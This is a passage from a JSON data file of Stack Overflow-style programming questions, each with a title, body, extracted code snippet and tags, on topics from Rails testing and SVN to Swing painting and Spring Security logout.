"'print'", "python-2.7 printing syntax-highlighting python-idle"], "5137132":
["What's the best book for Reflection class?", "I've read Programming C# 4.0
(O'Reilly) to learn C# again.\nHowever, the book says that Reflection is one of the
advanced topics so they will be not covered by the book.\nCan you recommend nice
books?\n", "", "c# reflection"], "5109335": ["TDD in Ruby on Rails?", "I wonder how
TDD is done in Rails.\nHere are the steps I have written down:\n\nCreate migrations
and models for the database tables\nAdd associations to the models\nWrite unit
tests for the models and run and see them fail\nAdd validations to the models\nRun
tests and see them pass, if not, edit the code till they pass\nCreate routing,
controllers and views (that uses the models)\nWrite functional tests\nRun tests and
see them fail\nEdit code and see them pass\nWrite integration tests\n\nI have never
done TDD before.\nThis is what I had in mind, but I wanted to check with you guys
first.\nIm sure this isn't very \"correct\" and that I have missed something and
have things in incorrect order.\nCould you correct the above list if something
isn't according to best practice.\nShare your experience!\n", "", "ruby-on-rails
tdd"], "281254": ["calayer setneedsdisplay instant call drawlayer:incontext", "i
have a layer called basicLayer, and i have some paths need drawing in function
drawlayer:incontext,\nso i called [basicLayer setneedsdisplay]; which will call
drawlayer:incontext atomaticlly, but it didn't called drawlayer:incontext
instantlly, so my question is how can i instantlly call drawlayer:incontext after
[basicLayer setneedsdisplay]; this consumed me serval hours, please help me?\n\ni
need draw some paths and then sleep 1 seconds.\n", "[basicLayer setNeedsLayout];\
n[NSThread sleepForTimeInterval:1.0];\n", "iphone ios ipad calayer"], "1884970":
["Good way to \"ensure\" a return value", "I want to describe an algorithm, which
is not changing a given input but it is producing a new element:\n\nEnsure is not
quite the thing I'm looking for because I want to make a statemanent about the
output which does not have its own name.\nAnother thing is that I want to name the
algorithm and lateron call it. I know that the algorithm does not to anthing
different than call the function Elim but I want to underline the difference
between the existence of a mathematical function and the algorithm (e.g. I don't
want to discuss the computional complexity of a mathematical function).\nAny
ideas?\n", "\\documentclass[a4paper, 11pt]{scrbook}\n\\usepackage{algorithm}\n\\
usepackage{algorithmic}\n...\n\\begin{algorithmic}\n\\REQUIRE $\\mathcal{P} \\
subset F[X_1 \\dots X_{k-1 }][X_k]$\n\\ENSURE % something about the return value\
n\\RETURN $\\operatorname{Elim}_{X_k}(\\mathcal{P})$\n\\end{algorithmic}\n",
"algorithms"], "4875631": ["How do I compress an image with Run-Length Encoding
using C#?", "How do I compress an image with Run-Length Encoding using C#? Are
there any available libraries to support this?\nDoes Run-Length Encoding only work
on bitmapped images? If so, How will I convert image types to bitmap using C#?\nI'd
also like to ask what's their resulting file type after this, will they retain
their file type or will they have a new one?\n", "", "c# image compression data-
compression image-compression"], "4756136": ["Stopping UISearchDisplayController to
dismiss the searchbar keyboard", "I have a UISearchBar which I am putting in
UISearchDisplayController. Now, whenever I tap on the 'Search' button on the
keyboard, it dismisses the keyboard. I am implementing the below method to stop
searching whenever 'Search' button is tapped in which case I do not want to loose
my keyboard also. Is there any way to instruct UISearchDisplayController to not
dismiss the keyboard on tap on 'Search' button?\n\n", "-
(void)searchBarSearchButtonClicked:(UISearchBar *)searchBar1 {\n if
([searchBar.text length] < 3){\n return;\n }\n else {\
n // Do searching here or other stuffs\n }\n}\n", "iphone objective-c
cocoa-touch uisearchbar uisearchdisplaycontroller"], "2733301": ["ASP.net MVC
View's Model vs ViewData.Model?", "I'm learning asp.net mvc and found something
interesting:\nIt seems that I can't explicitly define a View's from within the
View with error message saying that it has no setter.\n\nThen I looked at the
source code in WebViewPage.cs and a View's Model property is actually like this:\n\
nThus the error.\nBut it's interesting how I can do this: and actually be able to
use the statement, resulting to \"hello\"\nI think I'm looking too much into it,
but why is this so?\nbeginner at C# and ASP.NET\n", "Model", "c# asp.net asp.net-
mvc asp.net-mvc-3 razor"], "5602484": ["How can I easily bulk rename files with
Perl?", "I have a lot of files I'm trying to rename, I tried to make a regular
expression to match them, but even that I got stuck on the files are named like:\n\
nFile Name 01\nFile Name 100\nFile Name 02\nFile Name 03\n\netc, I would like to
add a \"0\" (zero), behind any of file that are less than 100, like this:\n\nFile
Name 001\nFile Name 100\nFile Name 002\nFile Name 003\n\nThe closest I got to so
much as matching them was using this find -type d | sort -r | grep ' [1-9][0-9]$'
however I could not figure out how to replace them. Thanks in advance for any help
you can offer me. Im on CentOS if that is of any help, all this is being done via
SSH.\n", "", "perl file rename bulk"], "5983134": ["variable_get() using \
u201cdefault value\u201d with no reason in Pressflow 6", "How are you guys?\nI'm
currently having a problem with variable_get() function that sometimes, with no
reason, returns the default value instead of the database one. \nI'm using memcache
here (and the Drupal memcache module, of course).\nDoes anybody also had this
problem? \nHow to fix it?\n", "", "variables drupal-6 memcached pressflow"],
"3580056": ["Creating an option for writing a post without an author attribution
for a group blog on Wordpress", "I'm developing a group blog on wordpress (first
time working with it) and the client has requested that a 'None' option be added
where an item can be posted without a \"by\" attribution. So basically there would
be one article / excerpt template for attributed author's posts and another for the
none option where the byline would just be the date posted without the \"by [author
name].\" Is this possible with wordpress?\nThanks!\n", "", "custom-post-types
theme-development author"], "685227": ["subversion include directory exclude
files", "I want to include a directory when I do my imports but exclude any files
that might be in it. how can this be done?\nie: include cache dir, but exclude all
the cache files in it.\nin my global-ignores I have tried cache and cache/*, the
former just excluded the entire cache dir - expected. and the later included
everything.\nam I close?\n", "", "svn version-control include exclude"], "3527220":
["Subversion repository grows not as much as expected", "Today I wanted to show a
colleague that using windows copy and paste is not a good idea. I have done the
following steps:\n\nCreated a local repository.\nChecked out that empty
repository.\nAdded some files to the checkout location and commited them.\nLooked
at the size of the repository (~ 9 MB).\nI then copied one Powerpoint file (~ 2 MB)
with windows copy and paste, renamed it, and commited it to Subversion. Subversion
did not know the file (as expected), so I had to manually add it to Subversion
first.\nAfter the commit, I expected the repository to grow significantly (> 1 MB),
because I have added a new file without history. The result was, that the growth of
the repo was only 1 KB.\n\nMy questions here are:\n\nIs that the correct behavior
now for Subversion 1.7?\nWhen did that change? In the past (at least for Subversion
1.5), when you added an exact copy (with windows copy and paste), it was added as a
new file to the repository.\n\n", "", "svn repo"], "2341505": ["can I limit log4net
to eventview by size?", "My webApplication uses log4net that writes to event-
viewr.\nI want to limit its size to 1 GB.\nis there any way to do this within the
webcofig?\n(as it can be limited to log file)\n", "", "c# asp.net logging log4net
event-log"], "1471392": ["64-bit Linux hosted on a Mac", "From what I can tell,
VirtualBox does not have a 64-bit binary for the Mac, and VMWare does not provide a
Player build for MacOS. Are there any virtualization options for running a 64-bit
guest OS on a Mac host?\n", "", "virtualization mac 64-bit"], "5549047":
["java.lang.NoSuchMethodError:javax.servlet.jsp.PageContext.getELContext()Ljavax/
el/ELContex", "Hi\ni have this code which is not working.\n\nand i have the class
AbbreviationListType with set and get methods for the list- \nget singnature is = \
n\ncan someone please point out what i am doing wrong ?\ncause this doesnt work and
i get this stack
trace:\n\njavax.servlet.jsp.PageContext.getELContext()Ljavax/el/ELContext;\n
java.lang.NoSuchMethodError:javax.servlet.jsp.PageContext.getELContext()Ljavax/el/
ELContex;\n at
javax.servlet.jsp.jstl.core.LoopTagSupport.unExposeVariables(LoopTagSupport.java:62
0)\n .....................\n\nhere is my WEB-INF/lib \n\nand my
catalina/common/lib\n\n", "<jsp:useBean id=\"abbreviationlist\"
class=\"AbbreviationListType\"/>\n<jsp:setProperty name=\"abbreviationlist\"
property=\"id\"/>\n <table>\n <c:forEach items=\"$
{abbreviationlist.list}\" var=\"abbreviation\">\n </c:forEach>\n
</table>\n", "jsp jstl el javabeans"], "2760542": ["How to determine the units of a
value", "Given as the exponents of the base units, are there any well known
methods for producing a simplified form?\nAs an example simplifies to .\nI have
a set of derived units as Name/exponent-vector pairs as input and it can be
assumed all exponents are rational (and in fact most being integers and almost all
not having a denominator more than about 3-4).\nI know this can be reduced to a
linear algebra problem but it is VERY under defined and in fact has several
possible solutions.\n", "e1..e5", "linear-algebra"], "4856244": ["Capistrano, Rails
3.2, standard recipes?", "I've been developing Rails for a while, but somehow
avoiding using capistrano until now. \nTrying to figure out how to get started,
I've gotten confused about the best capistrano recipe for a fairly 'standard' rails
3.x with asset pipeline deploy. Perhaps because looking around on Google, one finds
'answers' from various parts of history, with different historical periods when
different things were built into cap. \nI've got an app I keep in git, rails 3.2,
with asset pipeline, deployed to only a single host with passenger. \nThinking
about it, I basically need cap to:\n\ndeploy from git? \nmake a tag in git for the
deploy (and/or use a deploy branch? Whatever is most standard in cap, if there is
such a thing)\nbundle install --deployment\nrake db:migrate\nrake
assets:precompile\ntouch tmp/restart.txt\n\nOh crap, one more possibly weird
thing:\n\nthink I'm going to use a system-wide rbenv install on the deploy server.
Not sure what that entails. \n\nWhat's the most standard, easy, simple,
maintainable way to have cap do all these things? Is there anything I'm missing? If
some of what I've specified is not standard, I'm happy to use the standard best
practice instead (with maybe an exception or two, I really want a git tag for each
deploy, even if that's not a standard best practice, although I'd think it would
be, have gotten confused looking at docs how it works)\nIs there an easy answer
here?\nEDIT: Yes, I've looked at the Cap wiki. It may be because I'm slow, but I've
found answers to NONE of my questions there. There isn't even a 'getting started'
document. There is no documentation of what a default out of the box cap recipe
actually does. etc. \nupdate: I wrote my own guide aftering figuring it out.
https://gist.github.com/2161449\n", "", "ruby-on-rails capistrano"], "5148141":
["Disable hyperlinks in some entries for glossaries", "I am using the glossaries
package a lot in my thesis. There are some entries which appear very frequently
throughout the whole document. I would like to disable hyperlinking for these
entries but keep it for all other entries.\nI have tried putting just before the
frequent entries to no avail.\n", "\\glsdisablehyper", "hyperref glossaries"],
"3430309": ["Match Beginning and Ending of a String that can start with \" or '
with Regex", "I have two strings\n\nIn this language both the and can be used to
start and end a string literal, and they can contain the other symbol inside them
(quotation marks are valid inside apostrophes, and vice versa)\nI need a regex that
can deal with both, currently I have:\n\nbut used on , this would only give me and
not the full string.\n", "string a = \"text 'text'\"\nstring b = 'text \"text\"'\
n", "regex string pattern-matching"], "3524248": ["Can't uninstall Microsoft Office
2007", "When I try to uninstall Microsoft Office 2007 Ultimate from Windows Vista
Home Premium through the Control Panel, I keep getting the following message:\n\
nBut I'm my own system administrator and I totally don't know what to do. The only
reason why I'm uninstalling Office is so I get my activation back as I want to
install it on another machine.\nAnyone know what may be going on here?\n", "Setup
could not find any available products to install. \nPlease contact your system
administrator.\n", "office-2007 uninstall"], "617219": ["Confusion
with .serialize() and .serializeElements()", "I'm currently using in an ajax
request to submit a contact form, but my problem is that grabs ALL form elements
including \"buttons\".\nexample form:\n\nI'd only like to serialize form elements
which are NOT of type BUTTON, RESET or PASSWORD.\nis there a easy solution to
this?\n", "form.serialize()", "javascript prototypejs"], "5574215": ["What is the
difference between these two statements?", "What is the difference between these
two methods that I believe do the same thing (cast to a ):\n\nWhen should either be
used over the other?\n", "BOOL", "objective-c casting"], "3999614": ["C#,
PowerShell and RedirectStandardInput property", "I'm trying to develop some tool on
Win8 which will start powershell process and will run parallel with powershell.\nMy
tool needs to send some commands from time to time to the powershell and gets the
output (something like IPC scenario). It is very important that it has to be one
single powershell process cause the session has to be persisted till the tool is
being closed (by session I mean i.e. environmental variables). \nI have such
initialization code:\n\nand this is a code which is called to execute the method
and get the output:\n\nUnfortunately this is not working. Any command is not
executed and there is no output. There is no output on console window and actually
nothing happens.\nSo I'm kindly asking you for help how to solve this issue. Thank
you in advance.\n", "System.Diagnostics.ProcessStartInfo procStartInfo = new
System.Diagnostics.ProcessStartInfo(POWERSHELL_PATH, \"-NonInteractive\");\
nprocStartInfo.WorkingDirectory = Directory.GetCurrentDirectory();\
nprocStartInfo.RedirectStandardOutput = false;\nprocStartInfo.RedirectStandardInput
= true;\nprocStartInfo.UseShellExecute = false;\nprocStartInfo.CreateNoWindow =
false;\nproc = new System.Diagnostics.Process();\nproc.StartInfo = procStartInfo;\
nproc.Start();\n", "c# powershell process ipc"], "3118788": ["How to set auto reply
for every incoming mail to an account in Exchange server?", "Exchange server sends
a auto reply once to each sender by default if the auto reply option is enabled.\
nIs it possible to configure in Exchange server 2010 such that it sends auto reply
on every mail it receives if the auto reply option is enabled ?\n", "", "exchange-
2010"], "617216": ["Why distinction between expression and statement", "In lots
(actually all I've ever used) of functional languages there is no distinction
between a statement and an expression and the last value of each code block is
the \"return value\" of the block. On the other hand languages not generally
considered purely functional usually introduce this distinction.\nAs an example of
what I'm talking about, the following python code prints :\n\nwhile the scheme code
prints \n\nObviously I'm not interested in subjective answers of people who prefer
one style to the other, but objective reasons. \nTo me it seems the distinction
makes the grammar and implementation of the language more complicated (one less
obvious example of this being the necessary exceptions in the c++ standard for
templates and void types, or the introduction of \"shortcut if statements\", like
in c-influenced languages) without a real benefit - but most likely there's a
reason why even new, modern languages still have this distinction.\n", "None",
"language-agnostic functional-programming procedural-programming"], "5614501":
["Display row number from system.data.datarow", "So i'm importing an excel doc into
my project\n\nThen I run checks to check which column is empty when I get the empty
column i then want to get the empty row.\nI have tried:\n\nr being the datarow, the
telesense allows me rowError, rowState etc... but not row Number....any ideas
please? }\n", "DataSet result =
excelReader.AsDataSet();\n\n if (result != null)\n {\n
foreach (System.Data.DataTable t in result.Tables)\n {\n
if (t != null && t is System.Data.DataTable)\n {\n
System.Data.DataTable table = t as System.Data.DataTable;\n\n
Items Lastitem = new Items();\n\n foreach
(System.Data.DataRow r in t.Rows)\n {\n
if (r != null && r is System.Data.DataRow)\n {\n
//new ItemType\n if (r.ItemArray[0] != null)\n
{\n", "c# asp.net datatable datarow"], "4856245": ["Outlook does not return
appointment recurrences", "I'm playing around with VSTO for Outlook 2007.\nWhen
accessing appointments in calendar, I'd like to see all recurrences - not only the
series-main item.\nMy code is as following\n\nIt shows all normal items, all
series-master items but no calculated series appointments.\nExample: it shows my
mothers birthday in october 1949 as an recurring item, but none of her following
birthdays in 1950, 1951... etc. \nWhat am I doing wrong? \nThanks for ideas!\
nSascha\n", "var calendarFolder =
Globals.TestAddin.Application.GetNamespace(\"MAPI\").GetDefaultFolder(OlDefaultFold
ers.olFolderCalendar);\nvar outlookCalendarItems = calendarFolder.Items;\
noutlookCalendarItems.IncludeRecurrences = includeRecurring;\n\nvar
appointmentItems = outlookCalendarItems.Cast<AppointmentItem>();\nforeach ( var
appointmentItem in appointmentItems )\n{\n var item = appointmentItem;\n
this.LogBox.AppendText(item.Subject);\n}\n", "c# outlook vsto outlook-2007
appointment"], "2143818": ["How to convert a git repository from normal to bare ?
", "How can I convert a 'normal' Git repository to a bare one?\nThe main difference
seems to be:\n\nin the normal git repository you have a folder inside the
repository containing all relevant data and all other files build your working
copy\nin a bare Git repository, there is no working copy and the folder (let's call
it ) contains the actual repository data\n\n", ".git", "git version-control
repository git-clone git-bare"], "1435988":
["GParted stuck applying operations after copying partition between two disks",
"I'm copying a partition I had on a virtual disk (VirtualBox) to a real disk. I ran
GParted on the virtual machine and copied the main partition (12.98 GiB) over to
the new disk, and during the copy I inflated it to fit the entire disk's space
(~500GiB) and leave only 1.8 GiB free for swap.\nThe first step in the process was
to delete the currently existing partition on the disk, and then the copy process
started. Now it seems to be completed (the progress bar says \"12.98 GiB of 12.98
GiB copied\") but the bar has been wiggling around with no sign of progress for the
last 20 minutes:\n\nWhat does this mean? Is it safe to terminate the process? Do I
have to do anything else?\n", "", "hard-drive partitioning copy gparted hung"],
"3108715": ["C# audio streaming to website", "I'm recording microphone live-streams
using the C#-library NAudio. This perfectly works. It also is quite easy to send
them over the network, from server application to client application. C#-server,
C#-client, okay.\nBut the task is to stream them to a web server, and display the
stream on a webpage.\nBasic idea: I will send the stream to a server (for example,
127.0.0.1:port or 127.0.0.1:port/whatever.wav - replace 127.0.0.1 by the correct IP
in LAN, I just wrote it as a random IP here). Just as I do sending from server
application on server to client application on client-computer, sending the stream
to Server:Port/whatever. Then, I will use HTML5-audio-tag, like to display.\nI'm
supposed to use HTML5, the server is IIS, but another server could be used if IIS
won't work.\nI'm searching for informations on how to get started doing this, or
maybe also for useful (open source, open license) libraries.\nBasically, it will be
like a radio stream. Software is supposed to be written in C#.\nThank you so much
(sry for English mistakes - I don't know if there are many)\n", "", "c# html5
streaming live html5-audio"], "4143643": ["Search get app crash in iOS", "I created
an iOS application to search items from an . But when I type 'ag..','as...' and for
several other occurances, suddenly app gets crash. It gives the exception\n`*
Terminating app due to uncaught exception 'NSRangeException', reason: '* -
[NSMutableArray objectAtIndex:]: index 37 beyond bounds [0 .. 36]' \nwhat can I do
to solve this problem.\nThanks,\n", "UITableView", "ios nsmutablearray
uisearchbar"], "3517148": ["Custom Spring Security Logout Filter", "I need to de-
authenticate a user (kill their session) within my spring security 3.0.5 web app
and then send a redirect to another site to notify them of the logout. Is this
possible within spring and if so what is the general approach to performing these
tasks? Thanks!\n\n}\n\n", "import
org.springframework.security.core.Authentication;\nimport
org.springframework.security.web.authentication.logout.SimpleUrlLogoutSuccessHandle
r;\n\nimport com.dc.api.model.Users;\nimport
com.dc.web.util.DreamcatcherConstants;\n\npublic class
DCSimpleUrlLogoutSuccessHandler extends SimpleUrlLogoutSuccessHandler{\n\n
public void onLogoutSuccess(javax.servlet.http.HttpServletRequest request, \n
javax.servlet.http.HttpServletResponse response,\n Authentication
authentication)\n throws java.io.IOException,\n
javax.servlet.ServletException{\n Users user=null;\n Object
principal = authentication.getPrincipal();\n if (principal instanceof
Users) {\n user = (Users) principal;\n
if(user.getType().equals(DreamcatcherConstants.PRINCIPAL_USERTYPE)){\n
response.sendRedirect(\"https://secure05.pilot.principal.com/shared/members/corp/
LogoutServlet\");\n }\n }\n
response.sendRedirect(\"/dreamcatcher/auth/login.html\");\n\n}\n", "spring spring-
security"], "4847010": ["What is wrong with this Rspec test", "I am new to TDD test
driven development and I am trying to do my first few tests and i have this test
failing even when i know the title is clearly on the page\n\nany ideas what i am
doing wrong and/or if there is a list of rspec helpers somewhere online. This is a
rails 3.2.1 application btw\nUpdate the test is failing with this error\n\nmy
application.html.haml is \n\nUPDATE\nhere is my spec controller with all the tests
passing except for the one in question \n\nYet another update...here is my source
when i view source on the page\n\nyes another update\n\n", " response.should
have_selector(\"title\", :content => \"Ruby on Rails | Home\")\n", "ruby-on-rails
ruby ruby-on-rails-3 tdd automated-tests"], "4158013": ["understanding provability
and more about L\u00f6b's theorem", "This question is an additional question for my
previous question,one week ago.\nLink : understanding provability\nFortunately,
some persons kindly commented for my question. However, I think I still be in
confusion.\nI modified previous question like this.\nThere are two sentences sort-
of-says.\n\nP: \"X is provable\" \u2227 \"Q is provable\" \nQ: P is provable\n\n(1)
for direction -> \n\nIf P is provable \u2192 (X is provable\" \u2227 \"Q is
provable) is provable \u2192 (Q is provable) is provable \u2192 Q is provable\nP
is provable \u2192 Q is provable, regardless of X\n\n(2) for direction <- \n\nIF
Q is provable \u2192 (P is provable) is provable \u2192 P is provable\nQ is
provable \u2192 P is provable, regardless of X\n\nTherefore,\nP is provable <-> Q
is provable regardless of X\nBy this result, can I say one of these?\n1) P is
equivalent with Q regardless of X\nor\n2) P is a statement of \"P is provable\",
regardless of X\nor\n3) P is a statement sort-of-says, \"I am provable\" regardless
of X \nSurely, my reasoning has an error. Because L\u00f6b's theorem says that
the sentence of \"I am provable is provable. It means P is always provable
regardless of X. It is contradiction.\nWhat is my error?\nFor one week ago's
question, a person commented to me that direction <- has an error. But I cannot
understand yet exactly what is the error.\n", "", "logic model-theory"], "4368806":
["C: Throw error on parameter check or let it hit the fan?", "I have a simple
design(?) question.\nI'm writing a simple program, that has a couple of functions
that look like these. \n\nI have a couple of questions on this, with no intention
of re opening some holy war.\nShould I add a sanity check on the ? If so, how
should I let the caller know?\nReturning looks weird on floats;\n\nMy other option
is an out parameter\n\nupdate\nThis is kind of a toy program, just trying to
practice some stuff. The question excedes that fact. Maybe I should rephrase
to \"how to handle errors without (OOP) exceptions\".\nAlso considering testing
before doing the call, but don't like it as much.\nAny thoughts? \nThanks in
advance.\n", "float foo (float* m,size_t n){\n\n float result;\n //do some
calculations, for example a sum \n\n\n return result / n;\n}\n", "c design error-
checking sanity-check"], "3948644": ["Error calling oracle function with
NHibernate", "I'm trying to call a oracle function with my c# code using
nhibernate, but it throws me this error: ORA-06550: line 1, column 15:\\nPLS-00382:
expression is of wrong type\\nORA-06550: line 1, column 7:\\nPL/SQL: Statement
ignored\"}\nHere is the function:\n\nhere is my hbm.xml file\n\nAnd finally this is
my c# code:\n\nI don't know what happend with that.\nthanks,\n", "CREATE OR REPLACE
FUNCTION OID_VAL_MOVIMIENTOS\n(\n v_usuario IN NUMBER,\n v_archivo IN
VARCHAR2\n)\nRETURN NUMBER\nAS\n v_cont NUMBER;\nBEGIN\n\n v_cont := 150;\n
RETURN v_cont;\nEND;\n", "c# .net oracle nhibernate function"], "4907250": ["How to
achieve the following C++ output formatting?", "I wish to print out double as the
following rules :\n\nFor example :\n\nBy using .precision(3) and std::fixed, I can
only achieve rule 1) and rule 2), but not rule 3)\n\nCode example is as bellow :\n\
nany idea?\n", "1) No scietific notation\n2) Maximum decimal point is 3\n3) No
trailing 0.\n", "c++ formatting"], "5096261": ["Can AIO run without creating
thread?", "I would like aio to signal to my program when a read operation
completes, and according to this page, such notification can be received by either
a signal sent by the kernel, or by starting a thread running a user function.
Either behavior can be selected by setting the right value of .\nI gave it a try
and soon discover that even when set to receive the notification by signal, another
thread was created. \n\nThe doc also states that: The implementation of these
functions can be done using support in the kernel (if available) or using an
implementation based on threads at userlevel. \nI would like to have no thread at
all, is this possible?\nI checked on my kernel, and that looks okay:\n\nIs it
possible to run aio without any (userland) thread at all (apart from the main one,
of course)?\nEDIT: \nI digged deeper into it. librt seems to provide a collection
of aio functions: looking through the glibc sources exposed something fishy: inside
/rt/aio_read.c is a function stub : \n\nI found a first relevant implementation in
the subdirectory sysdeps/pthread, which directly called , which in turn created
pthreads. But as I was wondering why there would be a stup in that case, I thought
maybe the stub could be implemented by the linux kernel itself, and that pthread
implementation would be some sort of fallback code.\nGrepping through my
/usr/src/linux directory gives a lot of results, which I\u2019m trying to
understand now.\n", "sigev_notify", "multithreading signals aio"], "1224523": ["How
to handle GAE datastore contention asynchronously?", "To avoid the high latency
(spikes) in GAE datastore writes, I want to implement a write-behind cache (using
the Java low-level API). This means that
data is written synchronously to the memcache, and then asynchronously to the
datastore, so that the request can return quickly.\nThis, however, means that I
need to somehow need to deal with Exceptions arising from datastore contentions
(e.g. to initiate a retry) also asynchronously. More precisely, I need to be able
to react to contention's occurring after the request has returned. How can I do
that? Using the task queue for async write processing is not an option, because
pushing to the queue is said to be only marginally faster than a datastore write.\
nIf that is impossible, then what are good ways to implement a write-behind cache?
Or how to deal with slow writes in a scenario where data loss is not an option.\n",
"", "java google-app-engine caching gae-datastore"], "5219374": ["get last post's
link with SQL query", "I have installed a WP on website A and I want the last
post's links in site B.\nI haven't in site B any WP and I want to get the link of
last post from website A.\nso I can't use WP API like WP_Query and so on..\nIs
there possible I do this with remote connection to MuSql and get the last post
link?\nHow do this?\n", "", "posts query mysql"], "4470820": ["How to add a layer
between model and form?", "I've had some troubles trying to internationalize
decimals of activerecord.\nI'm trying to handle percentages also.\nWhat I would
like to do is add a layer between the model and the forms. Let's see it with an
example.\n\nNow, should be a decimal but I want to internationalize it in this
way: users from latin america should input the cost with as delimiter and as
separator (e.g. ) then this layer convert this value to and then the model store
it as a BigDecimal. When I display this value, I use and that's not problem but on
update forms the value should be internationalized.\nSame with but with an
additional thing: users should input it in this format but it should be stored
as . It simplifies calculations when dealing with the progress. When displaying
this progress I know I can use but I need a way to multiply it per 100 before
display it. Maybe something as:\n\nOr better, overriding to include the
multiplication inside that method.\nI'm using the next gems:\n\nSo, how could I do
this?\n", "class Project < ActiveRecord::Base\n
attr_accessible :cost, :progress\nend\n", "ruby-on-rails internationalization
formtastic percentage"], "1548460": ["Suitable ESXi Spec", "Finally I have some
money to buy a new server and replace the one I have been using for 10 years.\nIm
thinking of running ESXi on the new server. And intend to use it as follows;\n\
nOne W2008 R2 Guest running Exchange, \nFile store, SVN and an accounting\
napplication for day to day running of\nthe company.\nMultiple Guest VMs W2K, XP,
Vista &\nWIN7 that were setup for\ntesting in-house & real\ncustomer images also
for testing.\nProbably Two Server Guest Os's W2003 & W2008 running at the same time
again for testing.\nOne Guest VM for builds & Continuous\nintegration.\nPossibly
one Guest running W220R2 for a customer website (Portal)\n\nThis server will have
to last another 10 years so I want to get the spec right. Althought I am clear on
the memory and disk requirments I am not so clear on the processor(s). Im thinking
of 2 Quadcore processors but welcome advice on this.\nProposed Spec\n\n10GB Ram \
n2TB Sata Drives (Hardware Raid 1) \n2 Processors (TBC)\n\nNormally 3 Server VM's
will running concurrently and the other VMs will be started as required. Max
expected VMs running about 7. Max users = 4. \nTIA.. \n", "", "svn continuous-
integration build-automation vmware esxi"], "1883583": ["How should I pass
subject/principals/roles between application layers in Java?", "I currently have a
number of web applications which access a common service running in JBoss 5.0. The
service is very simple, using Guice and POJOs. The web applications are
authenticated and know who the user is and what roles they have. When calling the
service how should I pass this authentication information to the service? \nIt
would seem the simple approach is to simply add a parameter to the interface to
take the user information. Possibly a Subject. But this has the downside of
cluttering up the interface with contextual information that isn't specific to the
job in hand.\n\nThe alternative I have seen is to use ThreadLocal storage, put the
user information in there before making the call and make this accessible via some
utility class that the service can use. This cleans up the interface but hides the
fact that the client of the service has to set the user information before making
the call.\nIs there another way of doing this? I get the feeling the AOP may be of
use here too but can't quite see how. Is there some \"best practice\" I am missing?
Would EJB help?\n", "void doSomething(Subject subject, ...) {\n}\n", "java security
authentication authorization"], "1595758": ["Preventing unnecessary rendering in
Meteor if a document referenced by two templates in Meteor is updated", "I have a
Meteor project where two different templates depend on data from the same
document:\n\nOne template renders the \"title\", and another renders the \"data\".\
nIf a user changes the \"data\" field in the document, I do not want the template
that uses the \"title\" field to re-render. I only want the template that
uses \"data\" to re-render.\nFor example, the title may be in a page header which
does not need to be re-rendered if the project's data changes.\nHow can this be
achieved?\nMy Meteor templates:\n\nMy Meteor Javascript:\n\nThis code will
currently output \"Rendered projectTitle\" and \"Rendered projectData\" whenever
either of the fields in the Project document change, which shows that both
templates are being re-rendered.\nEdit I don't know if there is a 'correct' way to
do this, but one could publish two subscriptions, which return separate parts of
the document. This seems counter to the philosophy of Meteor, though.\n",
"{ \"title\": \"My Project\", \"data\": \"My project data\" }\n", "meteor"],
"4389447": ["Issue with JTextPane with background image and clipping rectangle", "I
have a problem with Swing that I just don't find the reason for. I have a JTextPane
that has been extended to show a background image. This can be either a raster
image (shown via the Standard Java APIs) or a SVG vector image (shown via SVG
Salamander).\nSince I want the text pane to have an area at the top used as a
margin that won't show any text, I do the following: I override paintComponent(),
paint the background image, then call super.paintComponent() so that the text and
so on will be shown, and finally I paint a piece of the background image again but
with a clipping rectangle to cover only the text that is in the top margin area.\
nThis works perfectly fine except for a little glitch that I've been battling for
days: with the raster image, if I select text in the text pane, the text is removed
rather than highlighted. That is, when I select text, the background image is shown
over the parts that I'm selecting. I don't understand why this could be, since the
first call that paints the image is called before super.paintComponent(), the
second call has a clipping rectangle so it only paints over the margin, and
everything works fine if I don't make selections. Some extra clues:\n\nI do know
it's something related to the second call, since if I comment it I don't have this
issue (then I don't have the margin though).\nCuriously it doesn't happen when the
background is a vector image, only with a raster image.\n\nHere is the code for my
paintComponent() method:\n\nIf anyone would like to have a look at the whole class,
it is here:
http://code.google.com/p/aetheria/source/browse/trunk/age/src/eu/irreality/age/
swing/FancyJTextPane.java?r=301\nNote that I'm not asking for a fix since it seems
that the problem is in interaction with other classes. That's why I didn't provide
an SSCCE: I tried to build one, but if I use this class in isolation... it actually
WORKS. I haven't been able to reproduce the problem outside the whole system and I
have no idea which interaction produces it. But I would be very grateful to anyone
providing hints pointing me in the right direction - maybe someone has seen this
kind of thing before and could have a clue of what might be the cause...\nUpdate: I
have managed to work around the issue, by ceasing to use setClip(). I found this
answer recommending not to use setClip() in paintComponent(): java swing clipping
problem\nInstead of using a clipping rectangle, I now create a subimage containing
the top part of the image which I want to draw on the margin, and draw that
directly without calling setClip(). It's probably quite inefficient since I'm
storing two images in memory when one should be enough, but at least it Works(tm).
If anyone is curious about seeing this hack, it's here (the code is a bit dirty at
the moment):
http://code.google.com/p/aetheria/source/browse/trunk/age/src/eu/irreality/age/
swing/FancyJTextPane.java?r=305\nStill if anyone is able to figure out the exact
cause why using setClip() in this way causes these issues, or knows of an efficient
way to solve this, it would be interesting. Thanks for all the answers! :)\n",
"public void paintComponent(Graphics g)\n{\n Rectangle rect = null;\n if
( rasterBackgroundImage != null )\n {\n rect = getVisibleRect();\n
g.drawImage(rasterBackgroundImage.getImage(),rect.x,rect.y,rect.width,rect.height,t
his);\n }\n if ( vectorBackgroundImage != null )\n {\n rect =
getVisibleRect();\n vectorBackgroundImage.setPreferredSize(new
Dimension(rect.width,rect.height));\n
vectorBackgroundImage.setScaleToFit(true);\n
vectorBackgroundImage.paintIcon(this, g, rect.x, rect.y);\n }\n\n
super.paintComponent(g);\n\n //if we want a non-scrolling top margin\n
if ( rasterBackgroundImage != null )\n {\n
g.setClip(rect.x,rect.y,rect.width,getMargin().top);\n
g.drawImage(rasterBackgroundImage.getImage(),rect.x,rect.y,rect.width,rect.height,t
his);\n }\n if ( vectorBackgroundImage != null )\n {\n
g.setClip(rect.x,rect.y,rect.width,getMargin().top);\n
vectorBackgroundImage.setPreferredSize(new Dimension(rect.width,rect.height));\n
vectorBackgroundImage.paintIcon(this, g, rect.x, rect.y);\n }\n\n}\n", "java
image swing paintcomponent"], "5084700": ["Cannot call 'SetContentView' on new
activity - Android Mono", "I've had a search for this problem but nothing seems to
help me to solve this particular error I am getting.\nI am writing my first Android
app and am coming across a java.lang.RuntimeException whenever I call
SetContentView on a new activity. \nThere is nothing in the logcat which helps (an
